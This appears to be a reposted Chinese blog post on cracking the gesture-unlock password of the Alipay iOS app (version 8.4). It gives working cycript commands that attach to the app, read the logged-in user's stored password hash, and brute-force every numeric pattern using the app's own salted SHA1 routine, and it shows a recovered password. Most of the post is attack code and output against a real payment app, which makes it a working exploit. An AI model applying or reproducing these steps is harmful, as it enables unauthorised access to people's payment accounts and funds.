探究支付宝app手势密码

来源:互联网 发布:大数据与实体经济融合 编辑:程序博客网 时间:2024/05/16 12:18

续前人http://blog.csdn.net/yiyaaixuexi/article/details/18520053

本文在支付宝8.4上测试

1.cycript附到支付宝进程

cycript -p pid

2.获取当前手势密码页面

cy# vc=[UIApplication sharedApplication].keyWindow.rootViewController.topViewController
#"<ColorFaceUnlockViewController: 0x2dd30e0>"


获取当前登录用户信息

cy# user = [[DFContext sharedContext] findServiceByName:@"SAAccountService"].userInfo

3.破解密码

支付宝手密由1-9数字

随便找个函数替换掉实现。函数中遍历所有密码,并用支付宝的sha1加密函数加密,然后和用户信息中的手密字段进行比较

cy# ColorFaceUnlockViewController.messages['viewDidLoad']=<span style="font-family: Arial, Helvetica, sans-serif;">function (){</span>
for(i = 999;i < 999999999; ++i){ pwd = [AccountInfoUtils sha1TextWithSalt:i.toString() withUserId:user.userId]; if([pwd isEqual:user.gesturePassword]){ result = i.toString(); }}}

由于执行时间较长,放到后台线程跑

cy# [vc performSelectorInBackground:@selector(viewDidLoad) withObject:nil];

1分钟后看看结果

cy# result"523698741"


大功告成!


0 0